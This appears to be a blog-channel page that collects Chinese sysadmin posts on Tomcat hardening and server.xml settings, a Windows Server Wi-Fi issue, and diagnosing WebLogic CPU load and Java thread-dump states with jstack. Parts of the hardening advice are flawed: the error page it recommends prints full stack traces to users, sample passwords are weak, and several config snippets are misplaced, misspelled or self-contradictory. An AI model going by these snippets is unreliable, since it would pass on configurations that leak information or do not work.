Quantcast
Channel: 容器云计算,Devops,DBA,网络安全。
Viewing all 780 articles
Browse latest View live

Tomcat安全配置参考

$
0
0

Tomcat安全配置参考

0x01 基本配置

1 删除默认目录

     安装完tomcat后,删除$CATALINA_HOME/webapps下默认的所有目录文件  rm -rf /srv/apache-tomcat/webapps/

2 隐藏tomcat版本信息

修改$CATALINA_HOME/conf/server.xml,在Connector节点添加server字段,示例如下
<Connector port="8080" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" />
               server="WVS1.1"
    <!-- A "Connector" using the shared thread pool-->

3 自定义错误页面

修改tomcat/ conf/web.xml,自定义40x、50x等容错页面,防止信息泄露。
(1)配置tomcat/conf/web.xml文件:
在最后</web-app>一行之前加入以下内容:
<error-page> 
<error-code>404</error-code>
<location>/noFile.htm</location> 
</error-page>
……………
<error-page>
<exception-type>java.lang.NullPointerException</exception-type>
<location>/ error.jsp</location> 
</error-page>
       第一个<error-page></error-page>之间的配置实现了将404未找到jsp网页的错误导向noFile.htm页面,也可以用类似方法添加其多的错误代码导向页面,如403,500等。
          第二个<error-page></error-page>之间的配置实现了当jsp网页出现java.lang.NullPointerException导常时,转向error.jsp错误页面,还需要在第个jsp网页中加入以下内容:
<%@ page errorPage="/error.jsp" %>
典型的error.jsp错误页面的程序写法如下:
<%@ page contentType="text/html;charset=GB2312"%>
<%@ page isErrorPage="true"%>
<html>
<head><title>错误页面</title></head>
<body>出错了:</p> 错误信息: <%= exception.getMessage() %><br>
Stack Trace is : <pre><font color="red"><%
java.io.CharArrayWriter cw = new java.io.CharArrayWriter();
java.io.PrintWriter pw = new java.io.PrintWriter(cw,true);
exception.printStackTrace(pw);
out.println(cw.toString());
%></font></pre>
</body>
</html>
当出现NullPointerException异常时tomcat会把网页导入到error.jsp,且会打印出出错信息。

(2)重新启动tomcat服务

 

4 更改tomcat服务器默认端口

1、参考配置操作
(1)修改tomcat/conf/server.xml配置文件,更改默认管理端口到8800
 <Connector
port="8888"  maxHttpHeaderSize="8192" maxThreads="150" 
minSpareThreads="25" maxSpareThreads="75"、
enableLookups="false" redirectPort="8443" acceptCount="100"
 connectionTimeout="300" disableUploadTimeout="true" />
(2)重启tomcat服务
 2、补充操作说明

② 备注事项,登陆http://127.0.0.1:8888  ,进行验证配置。

0X02 安全配置

1 用户权限

      在服务器设备权限配置范围内,根据我们的业务需要,配置其所需的最小权限。同时应删除或锁定与设备运行、维护等工作无关的账号。例如admin, 666等。还有使用单独的账号允许,不能使用与系统账号一样的账号密码。
1、Tomcat 4.x和5.x版本用户角色分为:role1,tomcat,admin,manager四种。
role1:具有读权限;
tomcat:具有读和运行权限;
admin:具有读、运行和写权限;
manager:具有远程管理权限。
Tomcat 6.0.18版本只有admin和manager两种用户角色,且admin用户具有manager管理权限。
2、Tomcat 4.1.37和5.5.27版本及以后发行的版本默认除admin用户外其他用户都不具有manager管理权限。
① 建议配置
编辑tomcat/conf/tomcat-user.xml配置文件,修改用户角色权限 ,例如
<tomcat-users>
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="tomcat" roles="tomcat"/>
  <user username="both" password="tomcat" roles="tomcat,role1"/>
  <user username="role1" password="tomcat" roles="role1"/>
-->
</tomcat-users>
② 登陆http://ip:8080/manager/html页面,使用tomcat账号进行本地登录,进行验证配置。

2 口令安全要求

     对于采用静态口令认证技术的设备,口令长度至少8位,并包括数字、小写字母、大写字母和特殊符号4类中至少2类。
① 建议配置
 在tomcat/conf/tomcat-user.xml配置文件中设置密码
<user username=”root” password=”root123456” roles=”admin”>
② 备注事项
      检查tomcat/conf/tomcat-user.xml配置文件中的帐号口令是否符合移动通过配置口令复杂度要求。
(1)人工检查配置文件中帐号口令是否符合;
(2)使用tomcat弱口令扫描工具定期对Tomcat Web服务器进行远程扫描,检查是否存在弱口令帐号。

3 禁止列目录(高版本默认已禁止)

① 建议配置
(1) 编辑tomcat/conf/web.xml配置文件, 注意原文件和下面的区别。
<init-param>
       <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
 (2)重新启动tomcat服务
② 备注事项
当WEB目录中没有默认首页如index.html,index.jsp等文件时,不会列出目录内容,直接访问http://ip:8800/webadd

4 定时账户自动登出

       对于类似web具备字符交互界面的设备,应支持定时账户自动登出。登出后用户需再次登录才能进入系统。

① 建议配置

编辑tomcat/conf/server.xml配置文件,修改为30秒
<Connector
port="8080"  maxHttpHeaderSize="8192" maxThreads="150" 
minSpareThreads="25" maxSpareThreads="75"、
enableLookups="false" redirectPort="8443" acceptCount="100"
 connectionTimeout="6000" disableUploadTimeout="true" />

② 备注事项

     登陆tomcat默认页面http://ip:8080/manager/html ,使用管理账号登陆,10分钟无操作或者关闭浏览器自动退出。

5 启用cookie的HttpOnly属性

修改$CATALINA_HOME/conf/context.xml,添加<Context useHttpOnly="true">

配置cookie的secure属性,在web.xml中sesion-config节点配置cooker-config,此配置只允许cookie在加密方式下传输。

    <session-config>
        <session-timeout>30</session-timeout>

<cookie-config> 

                              <secure> true</secure>

                          </cookie-config> 
    </session-config>

6 AJP端口管理

         AJP是为 Tomcat 与 HTTP 服务器之间通信而定制的协议,能提供较高的通信速度和效率。如果tomcat前端放的是apache的时候,会使用到AJP这个连接器。前端如果是由nginx做的反向代理的话可以不使用此连接器,因此需要注销掉该连接器。

0x03 其他事项

1 日志记录

      应配置日志功能,对用户登录进行记录,记录内容包括用户登录使用的账号,登录是否成功,登录时间,以及远程登录时,用户使用的IP地址。

 

① 建议配置

编辑server.xml配置文件,在<HOST>标签中增加记录日志功能
将以下内容的注释标记< ! --    -- >取消
<valve classname=”org.apache.catalina.valves.AccessLogValve”
Directory=”logs” prefix=”localhost_access_log.” Suffix=”.txt”
Pattern=”common” resloveHosts=”false”/>

 

② 备注事项

classname:This MUST be set to

 org.apache.catalina.valves.AccessLogValve touse the default access log valve. &<60

Directory:日志文件放置的目录,在tomcat下面有个logs文件夹,那里面是专门放置日志文件的,也可以修改为其他路径;

Prefix: 这个是日志文件的名称前缀,日志名称为localhost_access_log.2008-10-22.txt,前面的前缀就是这个localhost_access_log

Suffix: 文件后缀名

Pattern: common方式时,将记录访问源IP、本地服务器IP、记录日志服务器IP、访问方式、发送字节数、本地接收端口、访问URL地址等相关信息在日志文件中

resolveHosts:值为true时,tomcat会将这个服务器IP地址通过DNS转换为主机名,如果是false,就直接写服务器IP地址

2 HTTPS加密协议

① 建议配置
(1)使用JDK自带的keytool工具生成一个证书
JAVA_HOME/bin/keytool  -genkey –alias tomcat –keyalg  RSA
-keystore /path/to/my/keystore
(2)修改tomcat/conf/server.xml配置文件,更改为使用https方式,增加如下行:
Connector classname=”org.apache.catalina.http.HttpConnector” 
port=”8443”  minProcessors=”5”  maxprocessors=”100” 
enableLookups=”true”  acceptCount=”10”  debug=”0”
scheme=”https” secure=”true” >
Factory classname=”org.apache.catalina.SSLServerSocketFactory”
clientAuth=”false” 
keystoreFile=”/path/to/my/keystore”  keystorePass=”runway”
protocol=”TLS”/>
/Connector>
其中keystorePass的值为生成keystore时输入的密码
(3)重新启动tomcat服务

② 备注事项

     使用https方式登陆tomcat服务器页面,如果登陆成功,证明配置成功;如果登陆失败,证明配置失败。


Tomcat配置参数详解

$
0
0
下面是tomcat-8.5.37原生server.xml配置,删除了所有自有注释

Connector主要属性:

    protocol  监听的协议,默认是http/1.1
    port   连接端口号
    minThread  初始化线程数
    maxThread  最大线程数,生产配置800-1000
    minSpareThreads="100" 最大空闲线程
    enableLookups="false"  如果为true,则可以通过调用request.getRemoteHost()进行DNS查询来得到远程客户端的实际主机名,若为false则不进行DNS查询,而是返回其ip地址,生产环境建议设置false
    redirectPort  指定服务器正在处理http请求时收到了一个SSL传输请求后重定向的端口号
    acceptCount="800"  指定当所有可以使用的处理请求的线程数都被使用时,可以放到处理队列中的请求数,超过这个数的请求将不予处理,相当于多线程的队列
    connectionTimeout  指定超时的时间数(以毫秒为单位)
    SSLEnabled  是否开启 sll 验证,在Https 访问时需要开启
    URIEncoding="UTF-8"
     useBodyEncodingForURI="true"
     compression="on"
    compressionMinSize="2048"

    compressableMimeType="text/html,text/xml,text/plain,text/javascript,text/css,application/x-json,application/json,application/x-javascript"

    <?xml version="1.0" encoding="UTF-8"?>
    <!--8005用来执行shutdown命令,只能被127.0.0.1使用-->
    <Server port="8005" shutdown="SHUTDOWN">
      <!--Listener(监听器),类似于webx.xml中的配置-->
      <Listener className="org.apache.catalina.startup.VersionLoggerListener" />
      <Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" />
      <!--防止内存溢出-->
      <Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener" />
      <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" />
      <Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener" />
      <!--全局资源-->
      <GlobalNamingResources>
        <Resource name="UserDatabase" auth="Container"
                  type="org.apache.catalina.UserDatabase"
                  description="User database that can be updated and saved"
                  factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
                  pathname="conf/tomcat-users.xml" />
      </GlobalNamingResources>
      <Service name="Catalina">
        <!--Connector 接收用户请求转化为Request-->
        <!--protocol协议版本-->
        <!--redirectPort=https重定向端口,此时8443端口要有对应的Connector-->
        <Connector port="8080" protocol="HTTP/1.1"
                   connectionTimeout="20000"
                   redirectPort="8443" />
        <!--AJP协议=Apache与tomcat进行反向代理的私有协议,注:AJP是二进制协议,http是文本协议
        这个端口用不到的,此项配置可以注释,省一个端口-->
        <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
        
        <!--Engine(引擎)用来处理请求,根据域名分发到Host,当没有域名可以区分Host的时候默认分发到
        defaultHost(localhost),
        defaultHost相当于nginx中的defaultServer-->
        <Engine name="Catalina" defaultHost="localhost">
          <Realm className="org.apache.catalina.realm.LockOutRealm">
            <!--Realm(领域) 把资源注册到Engine
            UserDatabase=tomcat-users.xml-->
            <Realm className="org.apache.catalina.realm.UserDatabaseRealm"
                   resourceName="UserDatabase"/>
          </Realm>
          <!--Host(虚拟机)
          appBase应用的相对路径
          unpackWARs自动解压war包
          autoDeploy自动部署-->
          <Host name="localhost"  appBase="webapps"
                unpackWARs="true" autoDeploy="true">
            <!--Valve(阀门),相当于过滤器,此处配置用于打印日志,可用于IP过滤、限流 -->
            <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
                   prefix="localhost_access_log" suffix=".txt"
                   pattern="%h %l %u %t &quot;%r&quot; %s %b" />
     
          </Host>
        </Engine>
      </Service>
    </Server>

自定义配置

    <?xml version="1.0" encoding="UTF-8"?>
    <!--8005用来执行shutdown命令,只能被127.0.0.1使用
         可以删除port和shutdown配置-->
    <Server port="8005" shutdown="SHUTDOWN">
      <!--Listener(监听器),类似于webx.xml中的配置-->
      <Listener className="org.apache.catalina.startup.VersionLoggerListener" />
      <Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" />
      <!--防止内存溢出-->
      <Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener" />
      <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" />
      <Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener" />
      <!--全局资源-->
      <GlobalNamingResources>
        <Resource name="UserDatabase" auth="Container"
                  type="org.apache.catalina.UserDatabase"
                  description="User database that can be updated and saved"
                  factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
                  pathname="conf/tomcat-users.xml" />
      </GlobalNamingResources>
      <Service name="Catalina">
        <!--Connector 接收用户请求转化为Request
                 protocol协议版本
            redirectPort=https重定向端口,此时8443端口要有对应的Connector
            https默认端口443-->
        <Connector port="8080" protocol="HTTP/1.1"
                   connectionTimeout="20000"
                   redirectPort="8443"                 
                    />
        <Connector port="80" protocol="HTTP/1.1"
                   connectionTimeout="20000"
                   redirectPort="8443"                 
                   minSpareThreads="200"                       
                   maxThread="1000"
                   acceptCount="1000"
                   enableLookups="false"
                   URIEncoding="UTF-8"
                   useBodyEncodingForURI="true"
                   compression="on"
                   ompressionMinSize="2048"
                   compressableMimeType="text/html,text/xml,text/plain,
                   text/javascript,text/css,application/x-json,
                   application/json,application/x-javascript"            
                   />
        <!--AJP协议=Apache与tomcat进行反向代理的私有协议,注:AJP是二进制协议,http是文本协议
                    这个端口用不到的,此项配置可以注释,省一个端口-->
        <!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->
     
            <!--Engine(引擎)用来处理请求,当没有域名可以区分Host的时候默认分发到defaultHost(localhost),
                    defaultHost相当于nginx中的defaultServer-->
        <Engine name="Catalina" defaultHost="localhost">
          <Realm className="org.apache.catalina.realm.LockOutRealm">
                <!--Realm(领域) 把资源注册到Engine
                                    UserDatabase=tomcat-users.xml-->
            <Realm className="org.apache.catalina.realm.UserDatabaseRealm"
                   resourceName="UserDatabase"/>
          </Realm>
          <!--Host(虚拟机)
                      appBase应用的相对路径
              unpackWARs自动解压war包
              autoDeploy自动部署-->
          <Host name="localhost"  appBase="webapps"
                unpackWARs="true" autoDeploy="true">
                    <!--Valve(阀门),相当于过滤器,此处配置用于打印日志,可用于IP过滤、限流 -->
            <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
                   prefix="localhost_access_log" suffix=".txt"
                   pattern="%h %l %u %t &quot;%r&quot; %s %b" />
     
          </Host>
     
           <Host name="www.testtomcat.com"  appBase="/test/tomcat"
                unpackWARs="true" autoDeploy="true">
            <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
                   prefix="test_tomcat_access_log" suffix=".txt"
                   pattern="%h %l %u %t &quot;%r&quot; %s %b" />
           <Context path="/a" docBase="hello" reloadable="true"/>
          </Host>
     
        </Engine>
      </Service>
    </Server>

另外可以在conf/域名/ROOT.xml进行配置

笔记本安装win2016,intel ac3165无线断网

$
0
0

笔记本安装win2016,intel ac3165无线断网


笔记本默认安装win10系统,由于台式机平时使用的是windows server 2008系统,使用win10很

不方便,自带一堆软件,占用资源又高,所以换成了windows server 2016,就是触摸板无法使用,

其它正常,由于只能使用wifi网络,所以hyper-v 虚拟机需要通过无线网卡作为网关上外网,就

安装了win2016系统自带的 路由与远程访问 功能,配置好后,发现无线网路 每过一段时间就找不开网页,

ping 外网的Ip,又是可以ping通,换DNS后,还是一样的问题,最后关闭 路由与远程访问  功能后,恢复正常,

由于没时间测试,hyper-v虚拟机上网又只能搞ICS了。






weblogic下java程序占用cpu过高的问题排查

$
0
0

weblogic下java程序占用cpu过高的问题排查

 

 

1、cpu使用情况如图:

2、执行命令 :jstack 126624 > cpu1112.log   (注意执行此命令时的用户需为执行进程的用户,所以此处需要用weblogic用户)

若执行此命令报错:

Unable to open socket file: target process not responding or HotSpot VM not loaded

The -F option can be used when the target process is not responding

请查看:http://blog.51cto.com/zhangshaoxiong/1310166

3、top -p 126624 -H 查看占用cpu最高的线程:

可以看到pid为70498 70815 70500 的线程占用cpu都很高

 4、接着查看cpu的日志,里面会有126624这个进程下面每个线程的栈信息,但是是十六进制显示的,所以先把70498 70815 70500 转换成16进制 

[root@pubserver1 ~]# printf "%0x\n" 70498
11362

其他两个就不一一展示了

5、在cpu日志里找PID=11362的线程 

日志如下:

"[ACTIVE] ExecuteThread: '5' for queue: 'weblogic.kernel.Default (self-tuning)'" #94 daemon prio=5 os_prio=0 tid=0x00007f9f58002000 nid=0x11362 in Object.wait() [0x00007f9ecd8eb000]
java.lang.Thread.State: WAITING (on object monitor)
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:502)
at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:247)
- locked <0x0000000708e12bf8> (a weblogic.work.ExecuteThread)
at weblogic.work.ExecuteThread.run(ExecuteThread.java:281)



JVM故障分析系列之四:jstack生成的Thread Dump日志线程状态

JVM故障分析系列系列文章

JVM故障分析系列之一:使用jstack定位线程堆栈信息
JVM故障分析系列之二:jstack生成的Thread Dump日志结构解析
JVM故障分析系列之三:jstat命令的使用及VM Thread分析
JVM故障分析系列之四:jstack生成的Thread Dump日志线程状态
JVM故障分析系列之五:常见的Thread Dump日志案例分析
JVM故障分析系列之六:JVM Heap Dump(堆转储文件)的生成和MAT的使用
JVM故障分析系列之七:使用MAT的Histogram和Dominator Tree定位溢出源


前面文章中只分析了Thread Dump日志文件的结构,今天针对日志文件中 Java EE middleware, third party & custom application Threads 部分线程的状态进行详细的分析。

Thread Dump日志的线程信息

以下面的日志为例:

"resin-22129" daemon prio=10 tid=0x00007fbe5c34e000 nid=0x4cb1 waiting on condition [0x00007fbe4ff7c000]
   java.lang.Thread.State: WAITING (parking)
    at sun.misc.Unsafe.park(Native Method)
    at java.util.concurrent.locks.LockSupport.park(LockSupport.java:315)
    at com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196)
    at com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147)
    at com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118)


"Timer-20" daemon prio=10 tid=0x00007fe3a4bfb800 nid=0x1a31 in Object.wait() [0x00007fe3a077a000]
   java.lang.Thread.State: TIMED_WAITING (on object monitor)
    at java.lang.Object.wait(Native Method)
    - waiting on <0x00000006f0620ff0> (a java.util.TaskQueue)
    at java.util.TimerThread.mainLoop(Timer.java:552)
    - locked <0x00000006f0620ff0> (a java.util.TaskQueue)
    at java.util.TimerThread.run(Timer.java:505)

以上依次是:

  • "resin-22129" 线程名称:如果使用 java.lang.Thread 类生成一个线程的时候,线程名称为 Thread-(数字) 的形式,这里是resin生成的线程;
  • daemon 线程类型:线程分为守护线程 (daemon) 和非守护线程 (non-daemon) 两种,通常都是守护线程;
  • prio=10 线程优先级:默认为5,数字越大优先级越高;
  • tid=0x00007fbe5c34e000 JVM线程的id:JVM内部线程的唯一标识,通过 java.lang.Thread.getId()获取,通常用自增的方式实现;
  • nid=0x4cb1 系统线程id:对应的系统线程id(Native Thread ID),可以通过 top 命令进行查看,现场id是十六进制的形式;
  • waiting on condition 系统线程状态:这里是系统的线程状态,具体的含义见下面 系统线程状态 部分;
  • [0x00007fbe4ff7c000] 起始栈地址:线程堆栈调用的其实内存地址;
  • java.lang.Thread.State: WAITING (parking) JVM线程状态:这里标明了线程在代码级别的状态,详细的内容见下面的 JVM线程运行状态 部分。
  • 线程调用栈信息:下面就是当前线程调用的详细栈信息,用于代码的分析。堆栈信息应该从下向上解读,因为程序调用的顺序是从下向上的。

系统线程状态 (Native Thread Status)

系统线程有如下状态:

deadlock

死锁线程,一般指多个线程调用期间进入了相互资源占用,导致一直等待无法释放的情况。

runnable

一般指该线程正在执行状态中,该线程占用了资源,正在处理某个操作,如通过SQL语句查询数据库、对某个文件进行写入等。

blocked

线程正处于阻塞状态,指当前线程执行过程中,所需要的资源长时间等待却一直未能获取到,被容器的线程管理器标识为阻塞状态,可以理解为等待资源超时的线程。

waiting on condition

线程正处于等待资源或等待某个条件的发生,具体的原因需要结合下面堆栈信息进行分析。

(1)如果堆栈信息明确是应用代码,则证明该线程正在等待资源,一般是大量读取某种资源且该资源采用了资源锁的情况下,线程进入等待状态,等待资源的读取,或者正在等待其他线程的执行等。

(2)如果发现有大量的线程都正处于这种状态,并且堆栈信息中得知正等待网络读写,这是因为网络阻塞导致线程无法执行,很有可能是一个网络瓶颈的征兆:

  • 网络非常繁忙,几乎消耗了所有的带宽,仍然有大量数据等待网络读写;
  • 网络可能是空闲的,但由于路由或防火墙等原因,导致包无法正常到达;

所以一定要结合系统的一些性能观察工具进行综合分析,比如netstat统计单位时间的发送包的数量,看是否很明显超过了所在网络带宽的限制;观察CPU的利用率,看系统态的CPU时间是否明显大于用户态的CPU时间。这些都指向由于网络带宽所限导致的网络瓶颈。

(3)还有一种常见的情况是该线程在 sleep,等待 sleep 的时间到了,将被唤醒。

waiting for monitor entry 或 in Object.wait()

Moniter 是Java中用以实现线程之间的互斥与协作的主要手段,它可以看成是对象或者class的锁,每个对象都有,也仅有一个 Monitor。

从上图可以看出,每个Monitor在某个时刻只能被一个线程拥有,该线程就是 "Active Thread",而其他线程都是 "Waiting Thread",分别在两个队列 "Entry Set"和"Waint Set"里面等待。其中在 "Entry Set" 中等待的线程状态是 waiting for monitor entry,在 "Wait Set" 中等待的线程状态是 in Object.wait()

(1)"Entry Set"里面的线程。
我们称被 synchronized 保护起来的代码段为临界区,对应的代码如下:

synchronized(obj) {

}

当一个线程申请进入临界区时,它就进入了 "Entry Set" 队列中,这时候有两种可能性:

  • 该Monitor不被其他线程拥有,"Entry Set"里面也没有其他等待的线程。本线程即成为相应类或者对象的Monitor的Owner,执行临界区里面的代码;此时在Thread Dump中显示线程处于 "Runnable" 状态。
  • 该Monitor被其他线程拥有,本线程在 "Entry Set" 队列中等待。此时在Thread Dump中显示线程处于 "waiting for monity entry" 状态。

临界区的设置是为了保证其内部的代码执行的原子性和完整性,但因为临界区在任何时间只允许线程串行通过,这和我们使用多线程的初衷是相反的。如果在多线程程序中大量使用synchronized,或者不适当的使用它,会造成大量线程在临界区的入口等待,造成系统的性能大幅下降。如果在Thread Dump中发现这个情况,应该审视源码并对其进行改进。

(2)"Wait Set"里面的线程
当线程获得了Monitor,进入了临界区之后,如果发现线程继续运行的条件没有满足,它则调用对象(通常是被synchronized的对象)的wait()方法,放弃Monitor,进入 "Wait Set"队列。只有当别的线程在该对象上调用了 notify()或者notifyAll()方法,"Wait Set"队列中的线程才得到机会去竞争,但是只有一个线程获得对象的Monitor,恢复到运行态。"Wait Set"中的线程在Thread Dump中显示的状态为 in Object.wait()。通常来说,

通常来说,当CPU很忙的时候关注 Runnable 状态的线程,反之则关注 waiting for monitor entry 状态的线程。

JVM线程运行状态 (JVM Thread Status)

java.lang.Thread.State 中定义了线程的状态:

NEW

至今尚未启动的线程的状态。线程刚被创建,但尚未启动。

RUNNABLE

可运行线程的线程状态。线程正在JVM中执行,有可能在等待操作系统中的其他资源,比如处理器。

BLOCKED

受阻塞并且正在等待监视器的某一线程的线程状态。处于受阻塞状态的某一线程正在等待监视器锁,以便进入一个同步的块/方法,或者在调用 Object.wait 之后再次进入同步的块/方法。
在Thread Dump日志中通常显示为 java.lang.Thread.State: BLOCKED (on object monitor)

WAITING

某一等待线程的线程状态。线程正在无期限地等待另一个线程来执行某一个特定的操作,线程因为调用下面的方法之一而处于等待状态:

  • 不带超时的 Object.wait 方法,日志中显示为 java.lang.Thread.State: WAITING (on object monitor)
  • 不带超时的 Thread.join 方法
  • LockSupport.park 方法,日志中显示为 java.lang.Thread.State: WAITING (parking)

TIMED_WAITING

指定了等待时间的某一等待线程的线程状态。线程正在等待另一个线程来执行某一个特定的操作,并设定了指定等待的时间,线程因为调用下面的方法之一而处于定时等待状态:

  • Thread.sleep 方法
  • 指定超时值的 Object.wait 方法
  • 指定超时值的 Thread.join 方法
  • LockSupport.parkNanos
  • LockSupport.parkUntil

TERMINATED

线程处于终止状态。

根据Java Doc中的说明,在给定的时间上,一个只能处于上述的一种状态之中,并且这些状态都是JVM的状态,跟操作系统中的线程状态无关。

线程状态样例

等待状态样例

 "IoWaitThread" prio=6 tid=0x0000000007334800 nid=0x2b3c waiting on condition [0x000000000893f000]
   java.lang.Thread.State: WAITING (parking)
                at sun.misc.Unsafe.park(Native Method)
                - parking to wait for  <0x00000007d5c45850> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
                at java.util.concurrent.locks.LockSupport.park(LockSupport.java:156)
                at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1987)
                at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:440)
                at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:629)
                at com.nbp.theplatform.threaddump.ThreadIoWaitState$IoWaitHandler2.run(ThreadIoWaitState.java:89)
                at java.lang.Thread.run(Thread.java:662) 

上面例子中,IoWaitThread 线程保持等待状态并从 LinkedBlockingQueue 接收消息,如果 LinkedBlockingQueue 一直没有消息,该线程的状态将不会改变。

阻塞状态样例

"BLOCKED_TEST pool-1-thread-1" prio=6 tid=0x0000000006904800 nid=0x28f4 runnable [0x000000000785f000]
   java.lang.Thread.State: RUNNABLE
                at java.io.FileOutputStream.writeBytes(Native Method)
                at java.io.FileOutputStream.write(FileOutputStream.java:282)
                at java.io.BufferedOutputStream.flushBuffer(BufferedOutputStream.java:65)
                at java.io.BufferedOutputStream.flush(BufferedOutputStream.java:123)
                - locked <0x0000000780a31778> (a java.io.BufferedOutputStream)
                at java.io.PrintStream.write(PrintStream.java:432)
                - locked <0x0000000780a04118> (a java.io.PrintStream)
                at sun.nio.cs.StreamEncoder.writeBytes(StreamEncoder.java:202)
                at sun.nio.cs.StreamEncoder.implFlushBuffer(StreamEncoder.java:272)
                at sun.nio.cs.StreamEncoder.flushBuffer(StreamEncoder.java:85)
                - locked <0x0000000780a040c0> (a java.io.OutputStreamWriter)
                at java.io.OutputStreamWriter.flushBuffer(OutputStreamWriter.java:168)
                at java.io.PrintStream.newLine(PrintStream.java:496)
                - locked <0x0000000780a04118> (a java.io.PrintStream)
                at java.io.PrintStream.println(PrintStream.java:687)
                - locked <0x0000000780a04118> (a java.io.PrintStream)
                at com.nbp.theplatform.threaddump.ThreadBlockedState.monitorLock(ThreadBlockedState.java:44)
                - locked <0x0000000780a000b0> (a com.nbp.theplatform.threaddump.ThreadBlockedState)
                at com.nbp.theplatform.threaddump.ThreadBlockedState$1.run(ThreadBlockedState.java:7)
                at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
                at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
                at java.lang.Thread.run(Thread.java:662)
   Locked ownable synchronizers:
                - <0x0000000780a31758> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)
"BLOCKED_TEST pool-1-thread-2" prio=6 tid=0x0000000007673800 nid=0x260c waiting for monitor entry [0x0000000008abf000]
   java.lang.Thread.State: BLOCKED (on object monitor)
                at com.nbp.theplatform.threaddump.ThreadBlockedState.monitorLock(ThreadBlockedState.java:43)
                - waiting to lock <0x0000000780a000b0> (a com.nbp.theplatform.threaddump.ThreadBlockedState)
                at com.nbp.theplatform.threaddump.ThreadBlockedState$2.run(ThreadBlockedState.java:26)
                at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
                at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
                at java.lang.Thread.run(Thread.java:662)
   Locked ownable synchronizers:
                - <0x0000000780b0c6a0> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)
"BLOCKED_TEST pool-1-thread-3" prio=6 tid=0x00000000074f5800 nid=0x1994 waiting for monitor entry [0x0000000008bbf000]
   java.lang.Thread.State: BLOCKED (on object monitor)
                at com.nbp.theplatform.threaddump.ThreadBlockedState.monitorLock(ThreadBlockedState.java:42)
                - waiting to lock <0x0000000780a000b0> (a com.nbp.theplatform.threaddump.ThreadBlockedState)
                at com.nbp.theplatform.threaddump.ThreadBlockedState$3.run(ThreadBlockedState.java:34)
                at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886
                at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
                at java.lang.Thread.run(Thread.java:662)
   Locked ownable synchronizers:
                - <0x0000000780b0e1b8> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)

在上面的例子中,BLOCKED_TEST pool-1-thread-1 线程占用了 <0x0000000780a000b0> 锁,然而 BLOCKED_TEST pool-1-thread-2 和 BLOCKED_TEST pool-1-thread-3 threads 正在等待获取锁。

死锁状态样例

"DEADLOCK_TEST-1" daemon prio=6 tid=0x000000000690f800 nid=0x1820 waiting for monitor entry [0x000000000805f000]
   java.lang.Thread.State: BLOCKED (on object monitor)
                at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.goMonitorDeadlock(ThreadDeadLockState.java:197)
                - waiting to lock <0x00000007d58f5e60> (a com.nbp.theplatform.threaddump.ThreadDeadLockState$Monitor)
                at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.monitorOurLock(ThreadDeadLockState.java:182)
                - locked <0x00000007d58f5e48> (a com.nbp.theplatform.threaddump.ThreadDeadLockState$Monitor)
                at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.run(ThreadDeadLockState.java:135)

   Locked ownable synchronizers:
                - None

"DEADLOCK_TEST-2" daemon prio=6 tid=0x0000000006858800 nid=0x17b8 waiting for monitor entry [0x000000000815f000]
   java.lang.Thread.State: BLOCKED (on object monitor)
                at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.goMonitorDeadlock(ThreadDeadLockState.java:197)
                - waiting to lock <0x00000007d58f5e78> (a com.nbp.theplatform.threaddump.ThreadDeadLockState$Monitor)
                at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.monitorOurLock(ThreadDeadLockState.java:182)
                - locked <0x00000007d58f5e60> (a com.nbp.theplatform.threaddump.ThreadDeadLockState$Monitor)
                at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.run(ThreadDeadLockState.java:135)

   Locked ownable synchronizers:
                - None

"DEADLOCK_TEST-3" daemon prio=6 tid=0x0000000006859000 nid=0x25dc waiting for monitor entry [0x000000000825f000]
   java.lang.Thread.State: BLOCKED (on object monitor)
                at com.nbp.theplatform.threaddump.ThreadDeadLockState$DeadlockThread.goMonitorDeadlock(ThreadDeadLockState.java:197)
                - waiting to lock <0x00000007d58f5e48> (a com.nbp.theplatform.threaddump.ThreadDeadLockState$Monitor)
